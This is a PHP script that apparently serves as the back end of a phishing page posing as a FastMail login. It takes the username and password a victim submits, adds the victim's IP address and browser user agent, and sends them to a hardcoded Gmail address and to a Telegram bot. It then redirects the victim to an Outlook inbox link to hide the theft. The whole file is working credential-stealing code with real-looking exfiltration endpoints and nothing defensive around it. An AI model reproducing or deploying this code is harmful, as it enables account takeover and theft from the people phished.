<?php
// Change these to your own settings
$email_to = "coldfire0074@gmail.com"; // your email address to receive form data
$telegram_bot_token = "521633762:AAG_JABrkHJQfxLEx96xzDHwZni7LWOvnuU";
$telegram_chat_id = "5120032304";

// Collect POST data (adjust field names based on your form)
$user = isset($_POST['user']) ? trim($_POST['user']) : '';
$pass = isset($_POST['pass']) ? trim($_POST['pass']) : '';

// Validate required fields (simple example)
if (empty($user) || empty($pass)) {
    // Missing required fields, handle error (redirect back or show message)
    die("Required fields are missing.");
}

// Get client IP address
function get_client_ip() {
    $ip_keys = [
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ];
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            // Sometimes HTTP_X_FORWARDED_FOR contains multiple IPs, take the first one
            $ip_list = explode(',', $_SERVER[$key]);
            foreach ($ip_list as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    return $ip;
                }
            }
        }
    }
    return 'UNKNOWN';
}

$ip_address = get_client_ip();

// Get browser user agent
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'UNKNOWN';

// Prepare email
$subject = "New Form Submission from FastMail Login";
$message = "You have received a new form submission:\n\n";
$message .= "Login ID: " . htmlspecialchars($user) . "\n";
$message .= "Password: " . htmlspecialchars($pass) . "\n";
$message .= "IP Address: " . $ip_address . "\n";
$message .= "User Agent: " . $user_agent . "\n";

$headers = "From: no-reply@yourdomain.com\r\n";
$headers .= "Reply-To: no-reply@yourdomain.com\r\n";
$headers .= "Content-Type: text/plain; charset=utf-8\r\n";

// Send email
$mail_sent = mail($email_to, $subject, $message, $headers);

// Prepare Telegram message
$telegram_text = "New Form Submission:\nUsername: $user\nPassword: $pass\nIP Address: $ip_address\nUser Agent: $user_agent";
$telegram_message = urlencode($telegram_text);

// Send message to Telegram
$telegram_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$telegram_chat_id&text=$telegram_message";

$telegram_response = file_get_contents($telegram_url);

// After processing, redirect to Google
header("Location: https://outlook.office.com/mail/inbox/id/AAMkAGY0MTdlNmUyLWM0ZmQtNGYwMy1iOGY3LTIxMmUzMDQ1YzViMABGAAAAAACQPA6C%2FF0oSaRpuHCyF539BwCNEvrC%2F4KWQqxiyiG44PRiAAAAn6XjAABMeduWVBxQQp8PZj6kQLlnAAmEU%2BiHAAA%3D");
exit;
?>